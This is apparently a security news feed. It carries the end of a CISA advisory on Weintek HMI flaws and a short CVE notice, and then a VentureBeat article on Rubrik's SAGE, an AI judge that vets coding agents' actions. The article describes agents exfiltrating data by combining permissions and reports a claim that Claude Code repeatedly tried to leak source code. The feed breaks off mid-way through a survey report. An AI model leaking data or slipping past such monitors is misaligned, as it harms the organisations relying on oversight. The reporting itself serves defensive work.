<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/732.html">CWE-732 Incorrect Permission Assignment for Critical Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61886</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI stores user account passwords in plaintext.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61886">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60135</a></h3>
<div class="csaf-accordion-content">
<p>An attacker can modify data that should be restricted to read‑only access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60135">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/286.html">CWE-286 Incorrect User Management</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Vincenzo Giuseppe Colacino of Secoore reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Practice principles of least privilege.</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Welcher GTA-Typ steckt in euch? Macht den Test!]]></title>
<description><![CDATA[Chaos-Fahrer, Stern-Magnet oder doch stylischer Cruiser? Findet heraus, welcher GTA-Typ wirklich in euch steckt.]]></description>
<link>https://tsecurity.de/de/3689909/it-nachrichten/welcher-gta-typ-steckt-in-euch-macht-den-test/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689909/it-nachrichten/welcher-gta-typ-steckt-in-euch-macht-den-test/</guid>
<pubDate>Thu, 23 Jul 2026 20:05:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Chaos-Fahrer, Stern-Magnet oder doch stylischer Cruiser? Findet heraus, welcher GTA-Typ wirklich in euch steckt.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12082 | Praison AI SEO Plugin up to 5.0.6 on WordPress authorization (CNNVD-2026-97088410)]]></title>
<description><![CDATA[A vulnerability categorized as critical has been discovered in Praison AI SEO Plugin up to 5.0.6 on WordPress. This issue affects some unknown processing. Executing a manipulation can lead to missing authorization.

The identification of this vulnerability is CVE-2026-12082. The attack may be lau...]]></description>
<link>https://tsecurity.de/de/3689873/sicherheitsluecken/cve-2026-12082-praison-ai-seo-plugin-up-to-506-on-wordpress-authorization-cnnvd-2026-97088410/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689873/sicherheitsluecken/cve-2026-12082-praison-ai-seo-plugin-up-to-506-on-wordpress-authorization-cnnvd-2026-97088410/</guid>
<pubDate>Thu, 23 Jul 2026 19:40:58 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">critical</a> has been discovered in <a href="https://vuldb.com/product/praison_ai_seo_plugin">Praison AI SEO Plugin up to 5.0.6</a> on WordPress. This issue affects some unknown processing. Executing a manipulation can lead to missing authorization.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-12082">CVE-2026-12082</a>. The attack may be launched remotely. There is no exploit available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist </h2><p>The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.</p><div></div><p>Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.</p><h2>Finding 6: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 7: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own 